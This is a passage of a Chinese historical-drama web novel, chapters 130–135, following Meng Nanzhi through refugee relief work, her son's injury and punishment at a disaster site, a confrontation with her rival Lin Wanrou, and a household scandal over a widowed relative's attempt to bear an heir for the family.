似怕孟南枝怪罪她,低着头的春梅又刻意地补充了两句,“夫人,我娘其实胆子很小,她怕出事。为了弟弟,才接了那个人的银子。”
“我娘,她不是故意去寻世子不是的,她也没想到只是去了趟侯府,外面会传成那样。”
她这些天从府上丫鬟嘴里,听说了很多关于孟南枝的事。
她知道眼前的孟南枝,最是计较别人诬陷她的孩子。
可姐姐做的事已经发生,她没办法替姐姐辩驳。
她只想替娘亲征求一下原谅。
对此,孟南枝并没有多说什么。
春燕有错,她娘亲也有错。
但两人已死,她没有去追究眼前人的必要。
孟南枝将宣纸重新叠好放在桌案上,轻声道:“如此,我会给你安排住处住下,待我需要你时,你再出来。”
春梅连忙起身,再次跪地行礼,“是,夫人。”
孟南枝对月芹轻轻颔首。
月芹便亲自带着春梅下去。
待春梅离开后,候着的刘嬷嬷低声问道:“姑娘,要去侯府吗?”
宣纸上的人,刘嬷嬷也认识。
是陆筝筝的马夫。
孟南枝摇了摇头,“先不去。”
那马夫眼下又不在侯府。
孟南枝记得,他是被谢归舟的人带去了将军府。
谢归舟临走时,并未曾和她说已将人放出。
如今谢归舟不在京都,孟南枝觉得应该没人能从将军府把他带出来。
第130章 沈砚修受伤被罚
庭外传来嬉闹声,打断了孟南枝的思绪。
她将那张泛黄的宣纸收起来,与芙蓉姑娘画的那张画像放在一起。
莫名觉得讽刺。
撂了撂眼,她才看向庭外。
刘嬷嬷顺着她的目光望去,低声说道:“姑娘,是胡姨娘的表侄女。”
说是暂住一晚的赵佩兰,此刻仍在府上。
刘嬷嬷接着说道:“姑娘,老奴探查过了,赵姑娘的夫婿在一年前外出时,被流匪**,她为此做了寡妇。”
“三日前,也就是老爷被封右相第二日,赵姑娘突然进京去了胡家。是胡姨娘的兄长,亲自把赵姑娘送到胡姨娘铺子里的。”
“老奴打听到,胡姨娘那日在铺子里还和她兄长吵了一架,但具体吵了什么,老奴却没能打听到。”
孟南枝闻言微微颔首,想起那日在胡氏绸缎庄,看到绸缎上落了泥水的画面。
想来当日胡姨娘与她兄长的争执还不小。
“只要她在府上不出格,就由着她吧。”
终归是胡姨娘的亲属,孟南枝不好对她太过苛刻。
而且胡姨娘不主动和她提及此事,她也不好主动询问。
免得伤了她老人家的脸面。
想了想,孟南枝又问道:“珩儿呢?可是出府了?”
提到沈砚珩,刘嬷嬷脸上便落了笑,“二公子用过午膳后,便去了书院。姑娘,自您回来后,二公子可爱学习了。”
她是真心的高兴,没有什么比她看着长歪的孩子,一点点地变好,更值得高兴的事了。
孟南枝闻言面上也多了丝笑意,“他眼下正在兴头上呢。”
她很庆幸,自己回来的及时。
她的孩子本质都不坏,只要用对方法,哪怕是愚笨点,未来都不会太差。
临到夜暮时,太子府来了位嬷嬷。
嬷嬷见到孟南枝恭敬地福了一礼,递给她一张纸条。
孟南枝看完后,就递还了回去。
嬷嬷浅笑着没有多话,收起纸条便福身告辞。
孟南枝盯着她离开的背影,叹了口气。
她以为能完全躲掉的祸事,终归还是太子侧妃曹宛宁以自身入了局。
明日的城门流民施粥一事,只怕是要更加热闹了。
京城是这般,山城只怕是更难了。
也不知长子他们如今处在何种境地。
……
山城,巍县。
皮肤白皙的沈砚修,此刻面色有些蜡黄,脸上也布满了灰泥。
他背依大树瘫坐在地上,看着被士兵强制管控起来的流民。
原本清澈的眸子里,此刻涌出怜悯、失望、恼怒等各种复杂交织的情绪。
在没出京之前,他以为流民都是可怜的。
可他们会撒谎,会争抢,还会反咬一口,故意栽赃陷害他。
自己都舍不得吃上一口的干粮送给他们,他们却反过来抢走了由他管控送往灾区赈灾的粮食。
谢归舟身穿盔甲立在马背上,冷眼看着**的流民都被管控后,这才翻身下马走到沈砚修面前。
半蹲下来,去探望他右胸下的伤口,“感觉怎么样?能忍得了吗?”
军医不在,谢归舟便亲自解开他的衣服,为他上药。
沈砚修疼得额间直冒冷汗,双目泛起泪花,却仍是咬了咬牙,倔强道:“能忍。”
被伤是他自找的。
半个时辰前,他和钱飞一起往灾区送粮。
半路上遇见了几个流民,沈砚修因为可怜他们,便自给了他们自己的干粮。
又行了一段路,这几个流民突然追来,说他们有个兄弟掉入枯井里了,让他们去救他。
钱飞提醒他可能有诈,但沈砚修不信。
流民已经那么可怜了,怎么还会去骗他,而且骗他有何意义。
沈砚修便派出几个士兵去救人。
结果,那几个士兵刚离开一会儿,几十名流民便拿着刀棍围上来,去抢他们的赈灾粮食。
沈砚修就是在护粮的时候,被流民砍了一刀。
若非钱飞及时护着他,被砍的地方可能就不是胸下,而是心脏了。
谢归舟见他嘴硬,随手撕开一条长布为他包扎伤口后,唇角弯了弯,“你来时,你母亲有没有和你交代,命比粮重要。”
沈砚修将下意识地摸了摸伤口,回顾临走前母亲特地和他交代的话。
有些勉强地扯了扯嘴角,苦笑道:“交代了,可是,我没办法做到,还有更加可怜的流民需要粮食。”
现在想来,母亲应该是知道他做不到,才特意交代的。
怕他受伤,怕他丧命。
谢归舟轻拍了拍他的肩膀,神色严肃道:“砚修,你切记,为官者,可心善,却不可烂善。规则即已定下,便要按规而行。”
“不管是战场,还是官场,最忌讳妇人之仁。流民确实可怜,但人心是最难测的,切不可以已心渡他心。此事,你便把它当作是次教训吧。”
沈砚修闻言重重地点了点头,“砚修受教了,多谢将军教诲。”
此刻,整顿好流民的
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钱飞小步跑过来,“将军,这些流民怎么处理?”
谢归舟目光扫过被控制的流民,冷声道:“带头**者,杀了。其余者,皆送去九曲河修河堤。”
钱飞立马拱手道:“是,将军。”
沈砚修闻言却是面色一僵,有些不忍。
但他知道,谢将军的处罚并无错处。
是自己一时之错,造成了更加严重的后果。
谢归舟转头,目光落在他身上,语气缓了缓,“沈砚修,你此次因失职致赈灾之粮有所损耗,本将按大衍律例,罚你杖刑五棍,你可服气?”
沈砚修闻言立刻半膝跪地,道:“臣服气,臣领旨。”
犯错被处罚,他还好受些。
若不被处罚,他才会更加难受。
而且五棍,已经是最轻的处罚了。
入夜,被杖刑后的沈砚修被随行军医看诊后,勉强得以入眠。
门外,换了常服的谢归舟在他屋内的烛火灭下后,才转身离开。
拎了壶小酒,坐在官府后院的亭子下面,独自小酌。
同样刚忙碌一天,回到官府的太子萧明渊见状,脚步顿了顿,走过去在他对面坐下。
自顾取了个杯子,斟满,与他手中酒杯碰了一下,“一起。”
两人相顾轻笑,一饮而进。
萧明渊目光落在沈砚修的房屋内,笑意兴浓,“罚他,不怕南枝怪罪?”
小国舅的心思,他知道的,并不比母后晚。
谢归舟摇了摇头,没有这个话题上申延。
怕她怪罪,只怕她不会怪罪。
因为他知道她安排沈砚修出来的目的,是让他经历风雨,有所长进和作为。
为萧明渊斟了一杯,谢归舟反问道:“今日知府可还配合?”
萧明渊微微颔首,眸色凝重,“还算配合。”
山城局势远比他们想的要复杂,他虽是太子,行起事来却有些束手束脚。
地方官员阴奉阳违,表面上对他毕恭毕敬,可背地里却小动作不断。
在赈灾物资的调配、流民安置等事情上,总是找各种借口拖延、推诿,甚至勾结当地富商,妄图从中谋取私利。
而且山城内部势力派别分化严重,彼此之间争斗不休。
这让本就艰难的赈灾工作更是雪上加霜。
谢归舟目光落在杯中摇晃的液体上,眸色冷了几分,“动剑吧。”
萧明渊闻言一向温和的眼眸中多了一丝厉色,如国舅所说。
眼下的局势,唯有见血才能破的开。
第131章 多亏有你相助
笠日,天色未亮。
孟南枝便被噩梦惊醒。
“夫人。”
守夜的丫鬟月满瞬间起了身,见她满身冷汗,连忙去端了温水,浸了帕子递给她。
孟南枝擦了擦额间冷汗,又喝了口温水,提着的心才好受些。
回想梦里的面画,她此刻满心自责,再无睡意。
长子沈砚修应该是出事了。
她梦到长子沈砚修被流民围困在角落,满身是血地向她求救。
那画面太过真实,真实到她觉得就要失去长子。
月满是第一次见到孟南枝如此惊惶的模样,她强稳了稳神绪,轻声道:“夫人可是做噩梦?奴婢也常常做噩梦,嬷嬷说梦都是反的。”
“梦中越凶险,生活反而会越顺利。夫人若是做了噩梦,那证明夫人未来的生活会更好,一切都会得偿所愿的。”
孟南枝闻言回过神来,冲她笑了笑,“那夫人就等着借你吉言了。”
月满的安慰虽带着几分稚嫩,却也让她心中宽慰不少。
她该对长子有信心才对,信他能够妥善处理,有所成长和建树。
也该信太子和谢归舟,必不会让父亲的长外孙在山城出事。
将手中的温水一饮而尽,孟南枝起身套了件披风,行至门外。
天色依旧暗得阴沉,但好在雨已停歇。
微风吹过,带着初秋的凉意。
孟南枝的手掌按在栏杆上,冰凉的触感使得她脑子更加清醒了些。
随着鸡鸣响起,晨光撕开夜幕。
孟南枝渡步回到室内,月满适时地给她递来手帕。
净完手,孟南枝深思片刻,开始坐在案前,借着厚色开始起笔写信。
等到天色大亮,孟南枝将信纸装好,下楼递交到观棋手里。
让他去官署,把信好整无瑕地交给接连两日未曾归家的父亲。
辰时,沈二婶的长孙沈旻,如期赶到孟府。
模样与沈二叔有些肖似,比小时板正了许多。
穿了一身精练却不出挑的蓝色锦衣,能看出是想实打实地跟着她干事的。
双目随了沈二婶,带着精明,见到她便亲昵地行礼,“侄儿沈旻见过婶婶。”
孟南枝有些失笑,“我在沈府时你不唤我,等我离了沈府,你倒是学会唤我了。”
沈二婶当年搬出沈府,又下了毒誓,连带着让小辈都远着她。
孟南枝只在逢年过节才会见着沈旻一次,那时的他,在沈二婶的编排下,根本就不会主动唤她婶婶。
沈旻陪着笑脸道:“那时是我年幼,不懂事,还望婶婶莫计前嫌。”
小小年纪,说的话倒是老练得很。
明显是出门时,被长辈训导过。
孟南枝面色冷了两分,“我已与沈府并无干系,你还是谨记身份,莫要唤错了称呼。”
她与沈二婶本是利益交换,并不想让他们攀着她的名号做事。
沈旻面色有些尴尬,顺从地说道:“是,孟夫人。”
见他还算听话,孟南枝又冷声敲打道:“我不管你打得什么心思,既然是跟我出去做事,凡事皆要以我的规矩作为行事准则,不可擅自行动,不可擅自妄动。”
“若是你借着孟府,或你修哥和珩弟的名号,在施粥过程中做出任何有损我孟府声誉之事,别怪我不讲情面,将你直接送官查办,绝不姑息。”
沈旻闻言神色一凛,连忙躬身应道:“孟夫人放心,沈旻定当谨记夫人教诲,严守规矩,不敢有丝毫懈怠与妄为。”
孟南枝目光在他还有些稚嫩的脸上停留片刻,半缓语气道:“你祖母费尽心力让你跟我出去,自然是想为你争名。”
“你若能好好做事,日后自然是可以和修儿多做亲近。但若你心怀不轨,那也就别怪我心狠手辣了。”
沈旻再次躬身,态度愈发恭敬:“沈旻明白,定不负孟夫人所托,祖母所望。”
孟南枝微微点头,“今日施粥,你便跟着珩儿。”
因着昨日之事,次子沈砚珩担心再出事,强烈要求陪同她一起施粥结束后,再去书院。
孟南枝也想让次子多经历练,便同意了他的想法。
“是,孟夫人。”
沈旻应声后,抬头看了眼站在她身侧的沈砚珩,语气亲昵唤道:“珩弟。”
沈砚珩与他相识,却并不相熟。
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>但到底是堂兄弟,所以只得浅笑着应了声,“旻哥。”
敲打完后,几人便坐车出府赶往城门。
到了街市中央,孟南枝遇到了等她多时的曹宛清。
曹宛清没有同她客气,直接跳下马车,同她坐在一处。
比起第一日,她眉头皱了不少,连眼角的细纹都变深了些。
孟南枝半哄着似的递给她一块糕点,“来,吃颗甜的。”
孟南枝车上的糕点,只有一种,桂花糕。
曹宛清捻起轻咬了一口,香甜入口,食暖果腹,紧皱的眉头才稍松懈了些,“你都知道了?”
曹宛清问这话没头没尾,但孟南枝却很明白地点了点头,“昨日宛宁的嬷嬷,去了孟府。”
曹宛清已经吃完了糕点,擦拭双手后,挽住孟南枝的手,道:“南枝,昨日之事多亏有你相助。”
她昨日未曾去城门施粥,是因为她被孟南枝叮嘱着去查了另外一件事。
施粥之粮。
那些被运送出来,用于流民施粥的粮食,有几袋中间掺杂了发霉的糙米。
幸好提前检查出来,才没能造成大错。
若是那些本有身怀有疾的流民,昨日再次食用发霉的粮粥,只怕是真会造成多人死亡。
她昨日与母亲协助父亲暗查了一日,结果却是查到了自家。
负责采买的管家与粮商暗中勾结,以次充好,妄图从中牟取暴利。
曹宛清说起此事时,眼中满是愤怒,“这些黑心之人,为了钱财竟然完全不顾流民的死活,他们可知若是流民吃了这些发霉的粥,可是会**的。”
“还有那个管家,枉费国公府养了他这么些年,竟然背刺于我们。”
孟南枝轻拍了拍她的手背,“能提前查出,这是好事。那些粮商可能控制住了?”
“控制住了。”曹宛清眉头依旧皱着,“只是还没查出他们背后的势力,怕是不好对付。”
孟南枝点了点头,没再作声。
巨幕中,直到太子故后,这些粮商才被奕王萧临渊查出是二皇子的人。
只不过如今的孟南枝,对于这个结果的真假,抱以怀疑态度。
第132章 你可真是够贱的
曹宛清倾诉完,心情好了许多。
她撂开车帘,看了眼孟家的马车,疑惑道:“我刚才好似看到了沈家的那个沈旻?”
“是,我带的。”孟南枝回应。
曹宛清不解,“不是吧,你带他干嘛呀?是沈家威胁你了?”
她从夫君那里知道弟弟曹景行,这几日一直在拖着沈卿知干活,让沈卿知完全没有时间去寻南枝。
曹宛清想不通,沈卿知若不去孟家,沈家还有谁能厚着脸皮去让南枝帮忙。
“没有,你脑子能不能正常点。”
孟南枝好笑地摇头,“带两天,不听话就让他回去了。”
见她不想多说,曹宛清也就不再多问,只轻声嘱咐道:“你小心点。”
在她眼里,沈家没一个好人。
孟南枝知她心意,浅笑道:“放心吧,我心中有数。”
一行几人赶到城门时,流民施粥一事不仅已经开始,还多了几方施粥点。
平阳公府家的三公子甄少兴,吏部尚书家的庶长子,宣平侯家的小公子。
凡是京都能叫上名号的世家年轻子弟,都来了。
当然,最亮眼的是,一身轻便着装的林婉柔,和她的女儿陆筝筝。
她们这对母女守了一处粥棚,亲自上手为百姓盛粥。
曹宛清目光落在她们身上,鼻子哼了哼,“她们这对母女,还真是惯会作秀。”
“随她们吧。”
孟南枝轻瞥了一眼,便移开视线。
自昨日看到太子侧妃曹宛宁送来的那张纸条时,她便知道她们今日会出现。
这么好的扬名机会,林婉柔怎么会甘心错过。
然孟南枝越不想理她,林婉柔偏偏就越爱往她身边凑。
乍一看到孟南枝出了城门,林婉柔便放下手中正在盛粥的铁勺,扭着腰枝朝她走过来,“南枝,你来啦。”
昨日父亲明明和她算准了,今日早朝太子府会便受到**。
哪想到她到今日早上,才得到消息。
昨日下午,太子侧妃曹宛宁竟然进宫向圣上自述罪状。
说其太子府监管不力,差点导致流民因食粥而疾,自请被禁足。
圣上念其及时补救,未真酿成大错,又身怀龙孙,便责令其在府中闭门思过,静心养胎。
而真正差点闹出流民因食粥而疾的马夫人母子,被送到了刑部。
将由三司会审后,依律做出处罚。
不仅如此。
曹国公在女儿曹宛宁被圣上“处罚”后,还提出一条建议。
让世家勋贵子弟都参与流民施粥一事,物资自付。
对此,正愁赈灾物资匮乏的圣上,自然是同意。
林婉柔听到这则消息时,总觉得不对劲。
就跟知道昨日知道流民并未真正死亡一样,心里空落落的。
总觉得有什么东西和她渐行渐远。
而女儿陆筝筝和她一样,初闻这则消息时,瞬间失了神。
两人相视一眼,都能从对方的眼中看出一模一样,怪异的失落感。
但好在,她反应很快,立马就带着女儿拖着准备好的物资到了城门口。
虽然不知道是哪里不对劲,但施粥一事,她是一定要让女儿参与的。
人,要争。
名声,更要争。
尤其是在奕王承诺会娶陆筝筝为侧妃的这个节骨眼上。
孟南枝冷嘲道:“有事?”
“倒也没什么事儿。”林婉柔将目光落在她身后的沈旻身上,“这不是看见你过来,特地和你打声招呼。”
呵!
孟南枝嗤笑,“那你可真是够贱的。”
“噗。”
曹宛清没忍住,“还真是。”
她也没见过这么贱的,前妻不理她,还非要往前妻身边凑。
林婉柔面色一僵,她没想到孟南枝如今对她竟然如此不客气。
她记忆中的孟南枝,明明从不揭人短处。
但她很快便回过神来,看了眼孟南枝身后的沈旻,“旻哥儿这是也跟着你来了?”
话里话外,带着股酸味。
自她入沈家,沈二叔瞧不上她,沈二婶竟然也看不起她。
沈二婶的那一大家子,并不怎么与她往来。
可要知道,如今的她才是镇北侯沈府后宅的主事人。
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>这些人不求着她带子嗣,竟然让一个被和离的前妻去带。
简直倒反天罡,不把她林婉柔放在眼里。
孟南枝不是一般的懒得理她,“你眼睛没瞎吧?”
林婉柔被她噎得一窒,暗握了握拳头,有些泛白的脸上挂着假笑,道:“南枝,我这不是见你带着旻哥儿,多嘴问一句,你何至于这么大气性。”
说到此处,她又故作惊讶道:“我就知道你是气不过侯爷娶了我,才与侯爷和得离,你心里一直是心系沈家的,若不然,你也不会带着旻哥儿对不对?”
一向惯会酸人的语气,为的就是激孟南枝说出与沈家毫无干系的言词。
孟南枝目光落在她的脸上,轻轻抬手落在她的额间。
林婉柔以为孟南枝要打她,下意识地缩了一下脖子。
但瞬间又反应过来,这样太过气弱,又连忙挺直了脖子,直视孟南枝。
孟南枝比林婉柔身高半头,注意到她表情的僵硬,嘴角勾了勾。
放在她额间的手替她捋了捋头发,而后猛然拔掉一根,垂到她眼前,“婉柔呀,你知不知道,你老了。”
孟南枝修长的手指捏着的是根半白的发丝,一半暗淡发黄,一半晶莹如雪。
林婉柔的瞳孔瞬间睁大,抬**过她手里的那根发丝。
孟南枝随手扔在地上,又轻摸了摸她的脸庞,“别生气,瞧瞧,便是纹。”
林婉柔终于忍不住地低吼道:“孟南枝!”
揭人短处,简直欺人太甚!
孟南枝见她终于撕下那张一向装柔扮弱的脸,冷笑道:“这才对嘛,林婉柔,在我面前没必要那么端着。”
“毕竟你是个什么样的人,我心里清楚得很。你若有病,就趁早去诊病。若没病,就少在我面前晃悠。”
看了眼不远处,一边施粥,一边还不忘注意她们这边动静的陆筝筝。
孟南枝接着说道:“施粥是民生大事,你最好将心思放端正,别动些歪脑筋。”
“若是因为你的缘故,导致这施粥之事出了什么差错,到时候可别怪我孟南枝第一个料理你。”
第133章 找机会试探试探他
父亲孟正德如今总理户部、工部。
不管是钱粮调度、河工修缮,还是流民施粥一事,都在父亲的职责范围内。
孟南枝帮太子府的一半原因,也是在帮自己、帮父亲。
太子侧妃曹宛宁甘愿以自己入局,破了未来可能不可控的局势。
孟南枝自然不放心林婉柔这对母女,在施粥过程中无故生事。
哪怕在巨幕之中,她们两人的施粥过程是透明的,但必要的警告还是要有的。
林婉柔气得浑身发抖,她何时受过这样的气。
“孟南枝,你莫要太过高看自己,别以为只有你们心怀大义。我们……”
说到此处,她眸色变幻,抬手指向远处那些正在施粥的夫人和世家公子。
表情慷慨,义正言词道:“我们都是大衍的一份子,我们也不过是想为大衍出一分力而已。”
远处的世家夫人和公子,早就看到了她们两人间的无声硝烟。
但却没有一个人走上前来凑热闹。
此刻,见到林婉柔竟然抬手指着他们,都统一行径,仿佛商量好似的赶紧撇开视线。
谁对,谁错。
谁往哪边走,他们还是分得清的。
孟南枝抬手轻轻鼓掌,“好一个大衍的一份子,我实在是为你这份大义之心感到钦佩,我觉得有必要好好向你学习。”
“明日我便向说书先生,诉说你这仁义之举,大义之心,让他们把你的的故事传出去,也好人更多人知道你的善事。”
林婉柔脸色一阵青白,找说书先生确实是她的想法。
但就这么轻飘飘地被孟南枝说出来,也太让人心塞了。
“怎么?无话可说了?”孟南枝冷笑一声,“既然没话说了,就好好施粥吧。”
说罢,便不再理会她,和曹宛清带着三个小辈去往另外几处施粥点。
跟在孟南枝身后的江鱼碰了碰沈砚珩:你母亲,很厉害。
沈砚珩傲娇地抬了抬下巴:那当然,也不看看是谁的母亲。
一直没敢作声的沈旻,心中暗暗吃惊。
怪不得出来时,祖父和祖母再三叮嘱他,一定在听孟南枝的话。
一句都不要反驳,让朝东,绝不能朝西。
连侯爷的平妻在她面前都讨不了一点好,自己还是不要投机取巧。
谨守规矩,老老实实地干活吧。
曹宛清摸了下自己的发髻,唉叹道:“南枝呀,我也老了。”
孟南枝点了点她的手,“宛清姐还能和自己生气呀。”
“你这嘴,也忒损了点。”曹宛清轻嗔道,“不过,我喜欢。”
走过另外几处施粥点时,几位带着自家公子出来的夫人,都客气地同孟南枝和曹宛清福了一礼。
不单纯的因为孟南枝的父亲如今端坐高位,还因为她太会办事儿。
上次七巧宴上的赔礼,那可是当下最时兴的蜀锦,很是稀贵。
对此,孟南枝最感谢的便是胡姨娘。
胡姨娘为了她当时的赔礼,可是下了血本。
偏偏还闷着,不让长子和她说,说为她付出多少都是应该的。
孟南枝听闻后感动窝心了好久,胡姨娘为孟家、为父亲不计回报的付出,太多了。
林婉柔盯着孟南枝与那些世家夫人客套的面画,眸中全是难忍的暗恨。
这些夫人惯会见风使舵,风头全让孟南枝给出了。
此刻的陆筝筝已经停下为流民施粥的举动,小步向她跑过来,“母亲。”
林婉柔看了眼陆筝筝因忙碌,而有些凌乱的头发,莫名迁怒道:“发髻都没整理好,像什么样子。”
陆筝筝连忙拢了拢发髻,感觉归置平整后,才小心翼翼地去托住母亲的手,“母亲,您先歇一会儿。”
林婉柔轻撂眼皮,“那么多人盯着,好好施粥。”
不能被孟南枝给比下去。
陆筝筝闻言揉了揉发酸的手腕,怯生生地嗯了一声。
其实她想和母亲说,别的夫人、公子和姑娘都没有亲自施粥。
不是非要亲自施粥,才能表现出大义之心的。
而且有些流民看她的眼神,并不友好,带着邪念和恶意。
但母亲正在气头上,她不敢说,说了母亲怕是只会怪她多想。
随着流民增多,临近晌午时,书院的教授和学子们,也开始自发地参与到施粥和安抚流民中。
专业的事交给专业的人干。
孟南枝和曹宛清并未亲自参与施粥。
她们在探看完施粥流程,确认是否有疫病突发,和物资短缺程
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度后。
孟南枝便被来寻她的观棋,紧急叫回了府。
留下沈砚珩,带着江鱼和沈旻,随书院的教授和同学,一起共勉共事。
在帮忙分发物资的沈砚珩,发现江鱼有些心不在焉,一直盯着世家子弟那边瞧。
便忍不住碰了碰他的胳膊,“江鱼,你一个劲瞧什么呢?都瞧半天了。”
江鱼再次盯了下那边的方向,表情有些纠结,“我总觉得见过他。”
沈砚珩顺着他的目光望去,撇嘴道:“你还惦记着呢,你都见他好几次了。”
不就是平阳公府家的甄少兴嘛,光在这两天来施粥,都见过两次了。
更何况,江鱼之前总在京中跑,说不定什么时候就已经见过了。
“不是。”江鱼摇了摇头,“我应该是在前几天才见过他。”
揉了揉后脑勺,江鱼再次问道:“他真不姓土啊?”
沈砚珩有些无语,“和你说很多遍了,他姓甄,姓甄,不姓土,百家姓里有土吗?”
一直跟在他身后,默不作声的沈旻,突然开口道:“百家姓里没有土。”
沈砚珩和江鱼同时瞪了他一眼,他们能不知道百家姓里没土吗。
用得着他来显摆才学,提醒他们没有。
“可甄姓里面不是有土吗?”沈旻接着道。
沈砚珩和江鱼同时惊醒,互视一眼。
甄里有土。
沈砚珩脑子反应很快地把沈旻支走,“旻哥,你去前面看看那几个流民在干嘛。”
“好。”沈旻虽不解,但仍是听话地往那边走了过去。
沈砚珩这才对江鱼低声问道:“你当时真看清了?”
江鱼点头又摇头,如今他也不是很确定了。
毕竟他当时被打得两眼一黑便倒下了,强撑着才看清一点东西。
也可能是他被打晕时,所看到那个玉佩上的字,根本就没看全呢?
沈砚珩也回过味来,扭头看了眼甄少兴的腰间。
除了一条白玉腰带,空空荡荡,什么也没有。
想到那日在小巷里,听到对方说要害他和兄长的话。
沈砚珩眸中闪过戾色,“找机会试探试探他。”
江鱼点头,他也是第一次在人身上吃瘪。
是该要试探试探。
第134章 给妾身一纸放妾书
车轮碾过浸水的青石板路,依旧发出噗叽噗叽的声响。
孟南枝听着这声响,莫名有些惴惴不安。
想了想,她再次询问坐在车前的观棋,“父亲真的回府了?”
观棋回道:“是的夫人,孟相看完您的信,等忙完公事,便先回府了,让我来唤你回去。”
然而等他们到了孟府,大门却紧紧关闭。
直到观棋敲门,门房再三确认,才开了门。
孟南枝心中一突,府内这是出事了。
父亲不爱铺张,胡姨娘又为人本分。
除了孟南枝和离后带回来的丫鬟,孟府的奴仆和丫鬟其实并不多。
平日里就不喧闹的孟府,此刻更是静得连掉根针都听见。
孟南枝越往正厅走,内心越紧张。
胡姨娘没出来迎她,刘嬷嬷也没出来迎她。
月芹、月满,更是没有动静。
府内的丫鬟奴仆好像都死寂了一般。
孟府正厅的门第一次紧闭,守门的,是跟随父亲几十年的福伯。
见到孟南枝,福伯躬了躬身子,“小姐。”
孟南枝对他微微颔首,在门口站定片刻,深呼吸后,才抬手轻轻推开厅门。
正厅内,父亲孟正德身着常服,满脸怒气地正坐主位。
胡姨娘双目通红,满脸死寂地在侧位上坐着。
地上还有一个裹着被褥,被五花大绑,堵了嘴的赵佩兰。
孟南枝见状,莫名地松口气。
不管发生何事,只要父亲和胡姨娘都还好好地活着。
都不是最坏的境界。
转过身,又轻轻合上门后,孟南枝才快步走到父亲身前,轻声唤道:“爹。”
见到女儿回来,孟正德神色缓了缓,“坐。”
一向对她倍加关注的胡姨娘,自始至终,都未曾看她。
孟南枝眉峰微蹙,在父亲身侧的另一方主位坐下。
见她坐定,一向不曾主动开口的胡姨娘竟然率先说道:“既然枝枝也回来了,老爷便当着枝枝的面,给妾身一纸放妾书吧。”
孟南枝惊得站了起来,“姨娘。”
到底发生了什么事,能让深爱父亲一辈子的胡姨娘主动去要放妾书。
而父亲孟正德也并没有第一时间拒绝,而是面色威严地反问道:“你确定吗?”
“爹!”孟南枝扭头看向父亲。
他知不知道他在说什么。
如此,只会把一个想要离开的女人逼得更远。
胡姨娘年岁都那么大了,相扶相持了这么多年,有什么是过不去的。
孟正德和胡姨娘都没看她,也没回应她。
反倒是地上被堵了嘴的赵佩兰,嘴里呜呜呜地发出不明声。
孟南枝一恼,走下去撕掉她嘴里的布条,语气冰冷道:“你说,做了什么?”
赵佩兰身上被被褥包裹得格外严实,看不出里面穿的什么。
但她梳的是最时兴的妇人髻,插了金簪,面上还描了淡妆。
只是眼下发髻凌乱,金簪歪斜,连妆都花了不少。
被取下口中布条的赵佩兰大喘一口气,干咳了两声,才哭诉道:“这件事跟姨母没有关系,一切都是我的错,是我,是胡家想要高攀了孟家。”
孟正德不为所动。
胡姨娘也面无表情。
孟南枝只得再次皱眉道:“好好说,说清楚,从头说。”
赵佩兰抽了两下鼻子,才按照孟南枝的意思,慢慢说道:“四日前,我收到舅父的来信,说有事急需我回胡家。”
“我回到胡家后,从舅父口中得知姨父被圣上封为右相,孟家再成京中权贵。”
“我命不好,人人都说我克父克母,还克夫。是胡家把我养大的,还常常救济我的两个孩子。”
说到此处,赵佩兰脸上多了丝苦笑,“我现在是个寡妇,夫家对我不喜,两个孩子慢慢长大也有点怯我,怕我克了他们,我其实活着挺没意思的。”
“所以舅父寻我,让我为了胡家,为了姨母,做出如今这件有违道德之事时,我只纠结了半晌便同意了。”
赵佩兰说得很隐晦,但孟南枝听懂了。
她面色漆黑,拿起桌案上的茶盏就砸在了她脸上,“你知不知道你这么做,是害了我姨娘!”
茶盏落在赵佩兰的额头,直接青紫一片。
她不在乎地揉搓了
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一下,面色狰狞地替胡姨娘鸣不平道:“我害姨母?明明是你们孟家害了我姨母。”
“你母亲逼迫我姨母给你父亲做妾,你父亲纳了我姨母,却始终不与我姨母同房,有次醉酒后,还逼我姨母喝下避子药!”
“而你,孟南枝,你现在花费的银子,都是我姨母辛辛苦苦赚来的。”
“你以为你们孟家多清高,呸,你们孟家都在吸我姨母的血,却不肯让我姨母留下子嗣傍身。”
“够了!”
胡姨娘重重拍了一下桌子,站起来,走到她面前,道:“佩兰,我念你可怜,这才留你在府上,却不想,你竟然做出如此有违……”
似乎那些话实在难以说出口,胡姨娘气地按了下胸口,才接着说道:
“你莫要听你舅父之言,我给老爷做妾,那是因为你外祖父要把我许给一个七老八十的人做第十八房小妾。”
“而老爷当时真正青年,是京里多少世家小姐都巴不得嫁进来做妾的,是我高攀了老爷。”
“老爷当年之所以同意夫人的请求,纳我为妾,便是因为当初我答应了他,即便为妾也不会和他有实质性关系。”
“是我,我在与老爷的相处中爱上了老爷。我不甘心,这才趁着老爷醉酒,主动爬上了他的床。”
“而我赚的银子,本金也都是老爷的俸禄,若没有老爷里外打点,处理人际关系,我如何能做出如此成绩。”
一直面无表情的孟正德,在胡姨娘说完最后一句话时,终于动了容。
他目光落在这个和她相伴几十年,无怨无悔的妇人身上,眸色柔和了不少。
但,依旧是未曾说下软话。
赵佩兰却是疯魔般摇头,“姨母,我不信,你还在偏帮他们。你是胡家生养的呀,姨母,你为何不向着胡家。”
“孟南枝终归不是你的孩子,沈家兄弟也不是你的子孙。”
“只要我代你生下孟家的子嗣,你有了子嗣傍身,何愁以后还要依靠他人。”
她的话音还未落地,胡姨娘的一个巴掌便落在了她脸上。
“赵佩兰,管好你的嘴,还能保住你的命。”
第135章 脸面哪有子嗣重要
胡姨娘从来没有觉得这般颜面扫地过。
她当年机缘巧合结识孟南枝的母亲,江夫人。
是江夫人救她于水火之中,花了十万两银子从父亲手里留下她。
她还记得在江夫人病重那一晚,时值青年的孟正德把她唤到院内。
再三和她确认,是不是哪怕是一辈子没有子嗣,也要入孟府为妾。
她在那时对老爷并无情感,一心只想脱离胡家。
并想着依靠孟家,给她的娘亲长脸。
让同样作为妾室的娘亲,有了她在孟家的依靠,在胡家日子过得不要那么艰难。
所以她同意了。
哪怕是没有子嗣,哪怕是这孟家妾室的身份有名无实。
她也同意。
只是,孟正德他太过完美了。
身姿飒爽,模样俊秀。
又是京中勋贵,皇子伴读。
这般处处完美的模样,她在日久相处中不可能不爱上他。
孟正德与她唯一的一次同床,还并不是单纯的醉酒。
而是胡父看她一直没有子嗣,特地安排了她身边的嬷嬷,为老爷下了药。
老爷,从来不曾对她动情。
枝枝溺水后,老爷致了仕。
娘亲再故后,她已经逐渐和胡家断了联系。
哪想到枝枝回来后,老爷重新入朝,还更进一步成了右相。
胡家,她那位当家做主的兄长,竟又打起了老爷的主意。
三日前,兄长亲自带着赵佩兰到胡氏绸缎庄来寻她。
